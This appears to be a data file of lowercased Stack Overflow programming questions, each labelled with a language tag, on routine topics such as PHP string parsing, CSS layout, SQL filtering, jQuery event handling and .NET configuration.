compare array values  i have a string like this  which i need to extract the address from:   <pre><code>$string= xyz company 7 th floor hotel yyyy 88 main road mumbai 400000 this is sample  comapny address 9456  and some other ;  $word=str_word_count($string 1  0...9 ); </code></pre>   now <code>word</code> has each word like <code>word[0]=xyz</code>  <code>word[1]=company</code>  <code>word[2]=7</code>  etc.    i need to compare each value. if the word is a number then i want to save it in a temp variable until i get another number.<br> for example <code>word[2]</code> is 7  so i need to save the values from then until 88 in a temp variable. so the temp should contain <code> 7 th floor hotel yyyy 88 </code>.    if the temp variable has fewer than 25 characters then we compare until we get another number. so here we need to keep going from 88 to 400000 and append that to the temp variable.    the temp should finally look like this: <code> 7 th floor hotel yyyy 88 main road mumbai 400000 </code>    any help please,php
accounting for newline characters in javascript on windows and *nix systems  below is the <code>addon</code> code which saves text to file.<br/> this works perfectly on <code>*nix</code> systems.    the code grabs the current selected text from ui (which may contain <code>newline</code> characters) and saves this string to a file.<br/> the problem is that on <code>windows</code>  no <code>newline</code> characters are preserved when text file is opened in <code>notepad</code>.<br/> i understand <code>\r\n</code> is the correct carriage return on <code>windows</code> but how can i support both <code>windows</code> and <code>*nix</code> systems without having to parse/replace the user s selected string    <pre><code>var {cc ci cu components} = require( chrome )      contextmenu = require( sdk/context-menu );  cu.import( resource://gre/modules/netutil.jsm ); cu.import( resource://gre/modules/fileutils.jsm );  var file = cc[ @mozilla.org/file/local;1 ].createinstance(ci.nsilocalfile)      ostream      string;  file.initwithpath( c:\users\rob ); file.append( test.txt );  try{              if (file.exists() === false) {file.create(ci.nsifile.normal_file_type  420);}          ostream = fileutils.opensafefileoutputstream(file  fileutils.mode_wronly | fileutils.mode_create | fileutils.mode_truncate);          var converter = cc[ @mozilla.org/intl/scriptableunicodeconverter ].createinstance(ci.nsiscriptableunicodeconverter);         converter.charset =  utf-8 ;          string +=  first  +  \n\n ;         string +=  second  +  \n\n ;          var istream = converter.converttoinputstream(string + contextmenu.selectioncontext());          netutil.asynccopy(istream  ostream  function(status) {              if (!components.issuccesscode(status)) {                  alert( failure );              }else{                  alert( success );             }         });      } catch (e) {         return false;     } } </code></pre>   this is the result on <code>windows</code>:    <img src= https://i.stack.imgur.com/5dgeo.png  alt= enter image description here >    and this is the result on <code>linux</code>:    <img src= https://i.stack.imgur.com/zbnfb.png  alt= enter image description here >,javascript
select cols  (select inner query) as innercol from table where innercol something  it works as long as i avoid the <code>where stream_json ...</code> can this be fixed or does it require joins    <pre><code>select id  stuff      (select count(*)       from inner_table      where inner_table.movie_id = outer_table.id)            as stream_json from outer_table  where stream_json != 0 </code></pre>,mysql
how to echo richtext paragraph in plain text. no headers  no images  no iframes  i created a blogging cms from scratch with a homepage layout similar to a wordpress blog page. i published articles with images  embeded youtube videos  headings etc (rich text formatting). now on the homepage where i echo only 495 characters  youtube videos  images and headers bigger than the homepage s main heading size show up.    how can i echo the post from the database(with richtext) without iframes  images and headers n a paragraph,php
how to position icon just after h2 tag using :after pseudo even though 100% width  was wondering if anyone know how i can position the triangle icon directly after the text of my <code>h2</code> tag  at the moment i use :after and float this to the right but because the <code>h2</code> is <code>display: block</code> this triangle is positioned way to the right. since i have a border-bottom that needs to stretch the <code>100%</code> i cant use <code>display: inline-block</code> to get my result. wondering if i can achieve this without having to add in empty spans etc    fiddle: <a href= http://jsfiddle.net/7bcwv/  rel= nofollow >http://jsfiddle.net/7bcwv/</a>    html:   <pre><code>&lt;h2 class= definition-heading &gt;tools for internet users&lt;/h2&gt; </code></pre>   css:   <pre><code>    h1  .carousel-caption  h2  h3  h4 {     font-family: proxima nova semi bold   arial  helvetica  sans-serif;     color: #454545;     font-size: 16px; } h2 {     border-bottom: 1px solid #b7b7b7;     padding: 10px 0; } .definition-heading:after {     content:  ;     border-bottom: 5px solid transparent;     border-left: 7px solid #e15646;     border-top: 5px solid transparent;     height: 0;     width: 0;     float: right;     position: relative;     top: 7px;     margin-left: 9px; } </code></pre>,css
unable to read reg_sz data type from registery  i have function which read reg_dword   but cant read red_sz any idea how to fix    <pre><code>    string read_reg(char rpath[] char rdata[])    // read registery loaction     {     // string smhz;     char buffer[max];   // for storing read value from registery will be return      char buffer[max];     dword bufsize = _max_path;     dword dwmhz = _max_path;     hkey hkey;     // open the key where the processor speed is hidden:     long lerror = regopenkeyex(hkey_local_machine                              rpath                              0                              key_read                              &amp;hkey);          if(lerror != error_success)           {// if the key is not found  tell the user why:                formatmessage(format_message_from_system                               null                               lerror                               0                               buffer                               _max_path                               0);                return  n/a ;            }            cout&lt;&lt; \n program ok ;             // query the key:             regqueryvalueex(hkey rdata null null (lpbyte) &amp;dwmhz &amp;bufsize);         // convert the dword to a string:             cout&lt;&lt; \n value of dwmhz  &lt;&lt;dwmhz;         wsprintf(buffer   %d   dwmhz);         regclosekey(hkey);  // close open handle ....     return buffer;     } </code></pre>   i get cpu speed   but when i pass reg sz data type.... it cant work,c
what is the difference between app.config and web.config in .net   i have seen this appconfig and webconfig in .net applications  but i don t know the what is the difference between both.,.net
jquery - show element in a ul  i have a small script that hide some elment base on a specific class  it s something like a filter for a portfolio.    this is my js script:   <pre><code>$(document).ready(function() {     $( ul#filter a ).click(function() {         $(this).css( outline   none );         $( ul#filter .current ).removeclass( current );         $(this).parent().addclass( current );          var filterval = $(this).text().tolowercase().replace(     - );          if(filterval ==  tutti ) {             $( ul#elencoprodotti li.hidden ).fadein( slow ).removeclass( hidden );         } else {             $( ul#elencoprodotti li ).each(function() {                 if(!$(this).hasclass(filterval)) {                     $(this).fadeout(500  function(){                         $(this).addclass( hidden );                     });                 } else {                     $(this).fadein(500  function(){                       $(this).removeclass( hidden )                     });                 }             });                  }                  return false;     }); }); </code></pre>   and this is my code:   <pre><code>&lt;ul class= hidden-xs  id= filter &gt;     &lt;li class=  &gt;&lt;a href= # &gt;tutti&lt;/a&gt;&lt;/li&gt;             &lt;li class= current &gt;&lt;a href=  &gt;tasche risparmio energetico&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href=  &gt;smart card&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href=  &gt;serrature elettroniche&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href=  &gt;controllo temperatura&lt;/a&gt;&lt;/li&gt;             &lt;li&gt;&lt;a href=  &gt;cilindri&lt;/a&gt;&lt;/li&gt;     &lt;/ul&gt; &lt;ul id= elencoprodotti &gt; &lt;li class= tutti cilindri  style= display: list-item; &gt;                 &lt;div class= row row-prodotti &gt;                     &lt;div class= col-md-4 &gt;&lt;img class= img-responsive center-block  alt= cilindro elettronico  src= /tecnos-security/files/large/7fdce155b3dfab5f750eb1b684100452.jpg &gt;&lt;/div&gt;                     &lt;div class= col-md-5 testo_intro &gt;                         &lt;h2&gt;&lt;a href= /tecnos-security/prodotti/dettagli/cilindro-elettronico &gt;cilindro elettronico&lt;/a&gt;&lt;/h2&gt;                         &lt;p&gt;il cilindro elettronico può essere facilmente installato al posto di qualsiasi cilindro meccanico&amp;nbsp;rappresentando la soluzione piu’ semplice ed economica per sostituire su qualsiasi porta&amp;nbsp;esistente le tradizionali chiavi meccaniche con tessere rfid (trasponder).&lt;/p&gt;                         &lt;span class= leggi &gt;                             &lt;a href= tecnos-security/prodotti/dettagli/cilindro-elettronico &gt;scheda tecnica &amp;gt;&amp;gt;&lt;/a&gt;                         &lt;/span&gt;                     &lt;/div&gt;                     &lt;div class= col-md-3 &gt;                         &lt;div class= row &gt;                                                         &lt;div class= col-md-3 &gt;                                 &lt;a href= /tecnos-security/files/download/125deff1f25a6e9  style= border: none; &gt;                                     &lt;img src= tecnos-security/addons/shared_addons/themes/tecnos/img/multilingua/pdf.png  alt= multilingua/pdf.png  class= img-responsive &gt;                                 &lt;/a&gt;                             &lt;/div&gt;                             &lt;div class= col-md-6 &gt;                                 &lt;div style= font-weight: bold; &gt;depliant&lt;/div&gt;                                 &lt;div style= font-weight: bold; &gt;                                     &lt;a href= tecnos-security/files/download/125deff1f25a6e9 &gt;download file&lt;/a&gt;                                 &lt;/div&gt;                             &lt;/div&gt;                                                     &lt;/div&gt;                                       &lt;/div&gt;                 &lt;/div&gt;             &lt;/li&gt; &lt;li class= tutti smart-card &gt;                 &lt;div class= row row-prodotti &gt;                     &lt;div class= col-md-4 &gt;&lt;img class= img-responsive center-block  alt= tessera smart card di prossimità mifare philips  src= files/large/231eb169b9edc8ecab8a6b82c1006e1a.png &gt;&lt;/div&gt;                     &lt;div class= col-md-5 testo_intro &gt;                         &lt;h2&gt;&lt;a href= tecnos-security/prodotti/dettagli/tessera-smart-card-di-prossimita-mifare-philips &gt;tessera smart card di prossimità mifare philips&lt;/a&gt;&lt;/h2&gt;                         &lt;ul&gt;  &lt;li style= display: list-item;  class=  &gt;codice identificativo selezionato in modo casuale fra oltre 4 miliardi di combinazioni&lt;/li&gt;  &lt;li style= display: list-item;  class=  &gt;leggibile e riscrivibile fino a 100.000 volte&lt;/li&gt;  &lt;li style= display: list-item;  class=  &gt;personalizzazione tessere con logo  immagini  etc.&lt;/li&gt; &lt;/ul&gt;                         &lt;span class= leggi &gt;                             &lt;a href= /tecnos-security/prodotti/dettagli/tessera-smart-card-di-prossimita-mifare-philips &gt;scheda tecnica &amp;gt;&amp;gt;&lt;/a&gt;                         &lt;/span&gt;                     &lt;/div&gt;                     &lt;div class= col-md-3 &gt;                         &lt;div class= row &gt;                                                     &lt;/div&gt;                                       &lt;/div&gt;                 &lt;/div&gt;             &lt;/li&gt; &lt;/ul&gt; </code></pre>   the script works well  but happens that in the list there are some <code>&lt;li&gt;</code> elements that i want to show  for example in the <code>testo_intro</code> class. how can i show the <code>&lt;li&gt;</code> in that class     edit:    here the demo:  <a href= http://jsfiddle.net/a2qtm/2  rel= nofollow >http://jsfiddle.net/a2qtm/2</a>    solved:    i used this code after the last <code>else</code> part:   <pre><code>if( $( div.row-prodotti div.testo_intro ).is( :visible ) ) {     $( div.testo_intro li ).show().removeclass( hidden ); } </code></pre>,jquery
"javascript textarea calculate  the point is that you create a table of your own size. is there any possible way that when i press  calc  button it calculates number in this table  imagine all the rows and columns are filled with random numbers. i want to calculate numbers in same row. first you create a table  then you fill it with values and than you calculate all values between each other. this is my code:     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>function createtable() {
   var num_rows = document.getelementbyid( rows ).value;
   var num_cols = document.getelementbyid( cols ).value;
   var theader =  &lt;table border= 1 &gt;\n ;
   var tbody =   ;
 
   for (var i = 0; i &lt; num_rows; i++) {
     tbody +=  &lt;tr&gt; ;
     for (var j = 0; j &lt; num_cols; j++) {
       tbody +=  &lt;td&gt; ;
       tbody +=  &lt;input type= text  name= something &gt; ;
       tbody +=  &lt;/td&gt; 
     }
     tbody +=  &lt;/tr&gt;\n ;
   }
   var tfooter =  &lt;/table&gt; ;
   document.getelementbyid( wrapper ).innerhtml = theader + tbody + tfooter;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;form name= tablegen &gt;
   &lt;label&gt;col: &lt;input type= text  name= rows  id= rows /&gt;&lt;/label&gt;&lt;br /&gt;
   &lt;label&gt;row: &lt;input type= text  name= cols  id= cols /&gt;&lt;/label&gt;&lt;br/&gt;
   &lt;input name= generate  type= button  value= make table!  onclick= createtable();  /&gt;
 &lt;/form&gt;
 
 &lt;div id= wrapper &gt;&lt;/div&gt;
 &lt;input name= calculate  type= button  value= calc  /&gt;</code></pre>
 </div>
 </div>",javascript
angularjs - change class on list when clicked  i am just getting started with angular and am still trying to get a feel for how it works.  i have 2 questions about a list with ng-repeat.  i will post my code first.    html   <pre><code>&lt;div class= row &gt;     &lt;div class= span2 &gt;         &lt;ul class= nav nav-pills nav-stacked &gt;             &lt;li ng-repeat= class in classes | orderby:orderprop  ng-class= activeclass &gt;                 &lt;a ng-click= loadroster(class) &gt;{{class.class_name}}&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt;     &lt;div class= span2 &gt;         &lt;ul class= nav nav-pills nav-stacked &gt;             &lt;li ng-repeat= student in students | orderby:orderprop &gt;                 &lt;a ng-click= enterpassword(student) &gt;{{student.student_name}}&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   controller   <pre><code>function classlistctrl($scope  $http) {     $scope.loadedlist=[];     $scope.students=[];     $scope.activeclass=  ;     $scope.orderprop =  alphabetical ;      $http.get( data/class.json ).success(function(data) {         $scope.classes = data;     });      $scope.loadroster=function(classlist){         $scope.selectedclass=classlist;         $scope.activeclass= active ;         if($scope.loadedlist[classlist.class_id]== undefined){             $http.get( data/class_ +classlist.class_id+ .json ).success(function(data){                 $scope.loadedlist[classlist.class_id]=data;                 $scope.students=data;             });         }         $scope.students=$scope.loadedlist[classlist.class_id];     }      $scope.studentclick=function(student){      } } </code></pre>   ok  this pulls the data just fine.  i can click on a class and it loads the students in that class.  to cut down on ajax calls  i store those that are clicked and if that class is clicked again  it will fetch it from memory instead of making the call.  this is fine as class rosters are static for the most part.    i am trying to have it load a <strong>default</strong> class roster (the first alphabetically) and mark just that list item as active.    secondly  when they click a list item  i want to change that list item to active  and change the class of the other ones back to nothing.  i am not sure how to do that either.  as it stands  none are active now  but when i click one  all become active.,angularjs
won t delete all files with  delete recursive dir  function  i try to delete a big directory with a lot of subfolders and files (>1000). there  are many functions built for this purpose  i use the following:   <pre><code>function rrmdir($dir) {         if (is_dir($dir)) {             $objects = scandir($dir);             foreach ($objects as $object) {                 if ($object !=  .  &amp;&amp; $object !=  .. ) {                     if (filetype($dir .  /  . $object) ==  dir ){                         log_message(201 array()  try to delete folder:  .$dir. / .$object);                         rrmdir($dir .  /  . $object);                     }else{                         log_message(201 array()  try to delete file:  .$dir. / .$object);                         unlink($dir .  /  . $object);                     }                 }             }             reset($objects);             rmdir($dir);         }     } </code></pre>   the problem is  that many files are left behind. is this usual behavior  are is something wrong with my code  if it is usual behavior  how can i get around this problem     thanks in advance.,php
searching nodelist by an array  i have a document that i m searching through for specific instances  however those instances are specified by the user and there are more than one.  other than a for loop inside a for loop searching a nodelist against an array  is there a way i m missing that wouldn t bog down the system   or an easier way     so far  my code looks like this in abstract:    <pre><code>public void sortdoc(document doc){     nodelist list = doc.getfirstchild().getchildnodes();     arraylist&lt;string&gt; typelist = othersorter.gettypes();     for(int i=0; i&lt;list.getlength(); i++){         for(int j=0; j&lt;typelist.size(); j++){             if(list.item(i).getnodename()==typelist.get(j)){                 dothething();             }         }     } } </code></pre>   thanks for any help you can give.,java
css difference between attribute selectors with tilde and star   given the following css selectors   <pre><code>[attribute~=value] { } [attribute*=value] { } </code></pre>   should both of the selectors above do exactly the same thing  or is there a difference     i believe that there is some kind of a difference  but what  the only one which i spot is that the first of each pair is in the spec of css 2 and the second in spec of css 3.<br> is there anything else     <a href= http://jsfiddle.net/4g0vx5t2/2/  rel= nofollow noreferrer ><strong>fiddle</strong></a>,css
get userstream from twitter  a month ago a build a twitter tool in c# windows form application. i can send tweets and view the hometimeline friendtimeline and the mentiontimeline. i used the twitterizer dll with the oauthtokens method  but there is a refresh limit and it is very slow.    now i want to start a streaming twitter application but i cant find a proper example or documentation for this. i started but i didn t find the function who can start the stream and but it in a string or textbox. my question is how to get the stream from the hometimeline.   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms; using twitterizer; using twitterizer.streaming;  namespace twww {     public partial class form1 : form     {         public oauthtokens tokens = new oauthtokens();         private string useragent = null;          public form1()         {             initializecomponent();             /* input tokens removed in example code */              tokens.accesstoken = accesstoken;              tokens.accesstokensecret = accesssecret;              tokens.consumerkey = consumerkey;              tokens.consumersecret = consumersecret;         }          private void form1_load(object sender  eventargs e)         {             twitterizer.streaming.userstreamoptions options = new userstreamoptions();             oauthtokens token = new twitterizer.oauthtokens ();             twitterstream stream = new twitterstream(token  useragent  options);         }     } } </code></pre>   i tried to make it work for a user stream  but i get 401 or 403 errors  who says i have no rights   <pre><code>using newtonsoft.json; using system; using system.collections.generic; using system.io; using system.linq; using system.net; using system.text; using system.threading.tasks; using twitterizer;  namespace consoleapplication2 {     class program     {         static void main(string[] args)         {             oauthtokens tokens = new oauthtokens();             string consumerkey =  xx ;             string consumersecret =  xx ;             string accesstoken =  xx ;             string accesssecret =  xx ;              tokens.accesstoken = accesstoken;             tokens.accesstokensecret = accesssecret;             tokens.consumerkey = consumerkey;             tokens.consumersecret = consumersecret;              string url =  https://userstream.twitter.com/1.1/user.json with=followings&amp;replies=all ;             webclient wc = new webclient();             wc.credentials = new networkcredential( xx    xx );             streamreader reader = new streamreader(wc.openread(url));              string line;             while ((line = reader.readline()) != null)             {                 dynamic json = jsonconvert.deserializeobject(line);                 if (json.text != null)                 {                     console.writeline(json.text);                 }             }         }     } } </code></pre>,c#
how do i exclude certain information inside the columns using sql   i want to write a query that gives me all the information below  but i want to exclude all the information that has the case_owner is null and the category_3 is  cca... .and i still want to keep all the category_3  cca... with not null case_owner. how do i do that    <pre><code>select      rt.name as cr  ds.date_sk               cast (u.name as varchar(161)) as case_owner               queue_name__c as queue_name               cast(sf.casenumber as varchar(13)) as casenumber                 cast (sf.product_level_1__c as varchar(1000)) as category_1               cast (sf.product_level_2__c as varchar(1000)) as category_2               cast (sf.product_level_3__c as varchar(1000)) as category_3                    sf.processing_time__c   -- count(*) cases from            dwh.v_dim_sf_case sf join            dwh.v_dim_date ds on              cast(sf.createddate as date) = ds.date_sk left join       dwh.v_dim_sf_user u on              sf.ownerid = u.id  --and sf.lastmodifiedbyid = u.id join            dwh.v_dim_sf_record_type rt on              sf.recordtypeid = rt.id where           ds.date_sk between  2017-02-01  and date -1 and             sf.queue_name__c is not null and             sf.recordtypeid in ( 01232000000uo9zaag ) and             case_owner is not null and             category_1 is not null and             category_2 is not null and             category_3 is not null                           and             sf.status not in (  duplicate   spam/junk ) and             sf.case_type not in( bugs/research   holding   provisioning   research provisioning )  group by        1 2 3 4 5 6 7 8 9; </code></pre>   and if i add this part after that  it will not give me the case_owner null for other categories.   <pre><code>except          select      rt.name as cr  ds.date_sk               cast (u.name as varchar(161)) as case_owner               queue_name__c as queue_name               cast(sf.casenumber as varchar(13)) as casenumber                 cast (sf.product_level_1__c as varchar(1000)) as category_1               cast (sf.product_level_2__c as varchar(1000)) as category_2               cast (sf.product_level_3__c as varchar(1000)) as category_3                    sf.processing_time__c   -- count(*) cases from            dwh.v_dim_sf_case sf join            dwh.v_dim_date ds on              cast(sf.createddate as date) = ds.date_sk left join       dwh.v_dim_sf_user u on              sf.ownerid = u.id  --and sf.lastmodifiedbyid = u.id join            dwh.v_dim_sf_record_type rt on              sf.recordtypeid = rt.id where           category_3 not in ( cca auth status not changing ) and             case_owner is null   </code></pre>,sql
how to set selected select option in handlebars template  with a handlebars.js template like this...   <pre><code>&lt;select&gt;     &lt;option value= completed &gt;completed&lt;/option&gt;     &lt;option value= overdue &gt;overdue&lt;/option&gt;     &lt;option value= senttopayer &gt;senttopayer&lt;/option&gt;     &lt;option value= none &gt;none&lt;/option&gt; &lt;/select&gt; </code></pre>   ... and data like this...   <pre><code>{      id      : 1       name    :  world       status  :  overdue        date    :  2012-12-21  } </code></pre>   i want to render html like this.   <pre><code>&lt;select&gt;     &lt;option value= completed &gt;completed&lt;/option&gt;     &lt;option value= overdue  selected= selected &gt;overdue&lt;/option&gt;     &lt;option value= senttopayer &gt;senttopayer&lt;/option&gt;     &lt;option value= none &gt;none&lt;/option&gt; &lt;/select&gt; </code></pre>   which way is the easiest,javascript
why don t we have a background color on ie 8 here   updated to the real case scenario:    if you see the following on ie8 and you notice that the anchor background color has gone.   <pre><code>&lt;a class= button-white  href= /contacts/index &gt;contacte-nos&lt;/a&gt;   .button-white {     display: block;     text-decoration: none;     text-align: center;     outline: none;     cursor: pointer;     width: 7em;     font-size: 1.25em;     color: #000;     padding: .4em 1em .4em; /* tamanho */     border-radius: .5em;     box-shadow: 0 1px 2px rgba(0 0 0 .2);     -webkit-box-shadow: 0 1px 2px rgba(0 0 0 .2);     -moz-box-shadow: 0 1px 2px rgba(0 0 0 .2);     background: #ffffff; /* old browsers */     background: -moz-linear-gradient(top  #ffffff 0%  #dddddd 100%); /* ff3.6+ */     background: -webkit-gradient(linear  left top  left bottom  color-stop(0% #ffffff)  color-stop(100% #dddddd)); /* chrome safari4+ */     background: -webkit-linear-gradient(top  #ffffff 0% #dddddd 100%); /* chrome10+ safari5.1+ */     background: -o-linear-gradient(top  #ffffff 0% #dddddd 100%); /* opera 11.10+ */     background: -ms-linear-gradient(top  #ffffff 0% #dddddd 100%); /* ie10+ */     -webkit-border-radius: .5em;       -moz-border-radius: .5em;    } </code></pre>   i can t mark background as important  other wise  good browsers will have a white background instead of the gradient one.    i ve tried to change background to  background-color  no effect.    what could it be      we have htc enabled.    thanks a lot,css
how to edit in new generated code using jquery   i am working on my own project and i have a little problem with a new dynamically generating node it s not clicked here is the code sample:    <strong>html:</strong>   <pre><code>&lt;ul id= container-comments &gt;     &lt;li&gt;         &lt;a href= #  class= comment-avatar  title= imax9 &gt;            &lt;img src= images/avatar.png  alt= imax9  /&gt;         &lt;/a&gt;         &lt;div class= content-box comment__body &gt;            &lt;div class= comment__header &gt;               &lt;a href= /user/imax9  class= comment__username &gt;imax9&lt;/a&gt;               &lt;div class= comment__meta &gt;                 &lt;span&gt;8 hours ago&lt;/span&gt;               &lt;/div&gt;               &lt;div class= edit  title= edit &gt;                 edit               &lt;/div&gt;            &lt;/div&gt;            &lt;div class= comment__content &gt;              &lt;p&gt;wonderful! good luck with sales!&lt;/p&gt;           &lt;/div&gt;         &lt;div class= comment__inline-edit &gt;&lt;/div&gt;       &lt;/div&gt;    &lt;/li&gt;    &lt;/ul&gt; </code></pre>   <strong>jquery:</strong>   <pre><code>$( #comment-submit input[type=submit] ).click(function (e) {         e.preventdefault();         updatecomments(params); //this function updates the ul by adding                                 //new li contains the same html structure  });  //it doesn t work for the new generated one $( .edit ).on( click   function () {         var index = $( .edit ).index(this);         var commentedit = $( .comment__content p ).eq(index).text();         $( .comment__content ).eq(index).html( &lt;textarea style= width: 500px; height: 50px; padding: 0px; resize: none; &gt;  + commentedit +  &lt;/textarea&gt; );         //then it supposed when i press enter key the edit is done }); </code></pre>   thanks so much,jquery
ios: app home button shortcut  having trouble finding the api for the home screen shortcuts when the home button is clicked. my app plays audio and i want those similar shortcuts to pop up like the do for the ipod to give me the option to stop playback.    can someone just point me to the reference,ios
wurfl for mobiles  i am using below code in application_start event of global.asax in asp.net mvc. wurfl for detection of mobiles. below code works for restriction of tables and ipads but not for samsung galaxy tab greater than 10 inches.    <pre><code>     displaymodeprovider.instance.modes.insert(0  new defaultdisplaymode()      {      contextcondition = (context =&gt; context.getoverriddenuseragent().indexof( tablet    stringcomparison.ordinalignorecase) &gt;= 0  || context.getoverriddenuseragent().indexof( ipad   stringcomparison.ordinalignorecase) &gt;= 0)      }); </code></pre>,asp.net
is connection string name localsqlserver mandatory   how do i configure connection string for asp.net membership provider  do i have to write it by hand or any tool is available in visual studio where i can specify connection string as well as algorithm used to store password     i read one article and it specifies this connection string :-   <pre><code>&lt;configuration&gt;        &lt;connectionstrings&gt;          &lt;remove name=”localsqlserver”/&gt;          &lt;add name= localsqlserver  connectionstring= data source=localhost;initial catalog=appservicesdb;integrated security=true  providername= system.data.sqlclient /&gt;      &lt;/connectionstrings&gt;    &lt;/configuration&gt; </code></pre>   this <code>localsqlserver</code> name doesn t sound too intuitive. how do i change this     thanks in advance :),asp.net
visual studio 2013 .net 4.5 where about  i installed visual studio 2013 ultimate and but when i check for visual studio 2013 folder in the program files folder  i did not see it.  in addition  i tried to find out the .net version 4.5 using regedit.exe  but all i see was v4.  visual studio 2013 runs just fine.  any idea,.net
how to deserialize missing fields to nulls  i am working on a .net project where several versions of the same type of object have been created over the life of the project - most new versions add a field or two. however  now i am looking to mitigate problems for users with an old version.     my goal is that when a user tries to open an old version of the serialized object with the new program  the program will automatically assign default values to the fields that are missing from the depreciated version of the file.    for example  say i had a class with two boolean fields - repeatsound and repeatforever. the first version of the program doesn t know how to repeat forever  so it only saved repeatsound:   <pre><code>&lt;anytype xsi:type= sound &gt;     &lt;repeatsound&gt;true&lt;/repeatsound&gt; &lt;/anytype&gt; </code></pre>   but the new files look like this:   <pre><code>&lt;anytype xsi:type= sound &gt;     &lt;repeatsound&gt;true&lt;/repeatsound&gt;     &lt;repeatforever&gt;true&lt;/repeatforever&gt; &lt;/anytype&gt; </code></pre>   my goal is that when i deserialize the first file in the new program that it will create the sound object but simply default the value of repeatforever to false. right now trying to deserialize the first object would throw an exception.    thank you in advance for any responses    edit: i am using the  xmlserializer  class,.net
sql combine queries  i want to do multiple queries in sql at once  i know how to do each query separately but i can t find a way to combine all of them in a single query  for this i use two different tables the first on is called booking    <a href= https://i.stack.imgur.com/x4wyy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/x4wyy.png  alt= table booking ></a>    for my first query i want to select  only the rows of the rownumber of which perfdate=2015-12-10 and perftime=16:00:00    my second table is quite huge its called seat and it looks like this     <a href= https://i.stack.imgur.com/swkex.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/swkex.png  alt= enter image description here ></a>    for my second query i want to get all the rows from the seat table which have different rownumber when combaring with the outcome of the first query     then from the outcome of the two queries i want to take the rows only of which the zone is front stalls     can anyone please help me  thanks in advance,sql
c++ - what is the pipe ( | ) character   i have some code like:   <pre><code>#include  communicate.h   communicate::communicate(const wxstring&amp; title)        : wxframe(null  wxid_any  title  wxdefaultposition  wxsize(290  150)) {   m_parent = new wxpanel(this  wxid_any);    wxboxsizer *hbox = new wxboxsizer(wxhorizontal);    m_lp = new leftpanel(m_parent);   m_rp = new rightpanel(m_parent);    hbox-&gt;add(m_lp  1  wxexpand | wxall  5);   hbox-&gt;add(m_rp  1  wxexpand | wxall  5);    m_parent-&gt;setsizer(hbox);    this-&gt;centre(); } </code></pre>   from this tutorial: <a href= http://zetcode.com/gui/wxwidgets/  rel= nofollow >http://zetcode.com/gui/wxwidgets/</a> - first apps    what does operator | mean:   <pre><code>hbox-&gt;add(m_lp  1  wxexpand | wxall  5); hbox-&gt;add(m_rp  1  wxexpand | wxall  5); </code></pre>,c++
property or indexer must have at least one accessor  i m learning c#  trying to get to grips with accessors at the moment.<br> i m going nuts looking at this  i have no idea what i ve done wrong:   <pre><code>class bankaccount {     // *properties*      private int _initialdeposit = 0;      // **accessors**      public int savingsaccount     {         set         {             _initialdeposit = value;         }         get         {             return _initialdeposit;         }     } } </code></pre>   the form looks like this:   <pre><code>public partial class bankform : form {     private bankaccount _myaccount;      public bankform()     {         initializecomponent();         _myaccount = new bankaccount();     }      private void initialdepositbutton_click(object sender  eventargs e)     {         _myaccount.savingsaccount = convert.toint32(initialdeposittextbox.text);         bankaccountlistbox.text =  account opened with initial deposit   + initialdeposittextbox.text;     } } </code></pre>   but i get this error:   <blockquote>    property or indexer must have at least one accessor  </blockquote>,c#
submit form containing text input and file input  i am submitting a form which contains a <code>text input</code> and <code>file input</code> to a php page using jquery and ajax  but before the submission  i would want to validate on the text input before i submit.    below is the form page   <pre><code>            &lt;form id= registrationform   method= post   name= registrationform  enctype= multipart/form-data &gt;                  &lt;input type= text   name= firstname  id= firstname  /&gt;                  &lt;input type= file  name= file  id= file  /&gt;                  &lt;button type= submit &gt; upload&lt;/button&gt;              &lt;/form&gt; </code></pre>   and the javascript page   <pre><code> $( #registrationform ).validate({         rules: {             firstname:{                 required: true             }         }          message:{             firstname: {                 required:  please enter name              }         }        submithandler : function(){        //grab all form data         var formdata = new formdata(this);        $.ajax({         url:  submitpage.php           type:  post           data: formdata          async: false          cache: false          contenttype: false          processdata: false            success: function(data) {               $( #message ).html(data);               $( #message ).html(data).hide().fadein(1500 function(){$( #message )});             }          });      }     }); </code></pre>   and php page which is the receiving page   <pre><code>        &lt; php             $firstname=$_post[ firstname ];             $file=$_files[ file ][ name ];              echo $firstname;             echo $file;            &gt; </code></pre>   this returns null on the php receiving page. i really wish if somebody could help me out. thanks.,javascript
using themes and resources  i have a site that uses asp.net themes and it uses i18n.    some images are specified on resource file because they have texts on it.    when i tried to add an item like this:   <pre><code>&lt;asp:imagebutton skinid= imbdisaprove  runat= server  imageurl= &lt;%$ resources:images  disaprove %&gt;  /&gt;  </code></pre>   i receive an error saying that it is not possible to use scripting inside a theme file.    does anyone know how to solve this,asp.net
external language file  i have a little bit confusing problem.    i have website with multiple languages. for default labels and headings i made some external php file where i have variables with values for different languages.    for example  in file i have variable    <strong>$heading =  first heading in english </strong>    and variable    <strong>$heading =  first heading in german </strong>...    in session i have stored value for current language  and with if state i know what language variables to take.    my problem is next:     when i load my page for first time  all of fields where i call variables from external language file are empty...    and  when i refresh my page  variables are there  with right value....    can someone help me with this problem      i include external file before everything in my php file  with <strong>include</strong> function.,php
what is the  link  attribute used for in a <div> element   i encountered something at work which looks like it may populate a list of links from a data source  but i m not sure. here s the code:   <pre><code>&lt;div mc-support-link-collection header-title= related documents  links= support.links &gt; </code></pre>   according to w3schools  (<a href= http://www.w3schools.com/tags/att_body_link.asp  rel= nofollow >http://www.w3schools.com/tags/att_body_link.asp</a>)  the link attribute-at least when used in the <code>&lt;body&gt;</code> tag-sets link colors on a page. would this have the same meaning in a <code>&lt;div&gt;</code> tag or a different meaning  thanks!,html
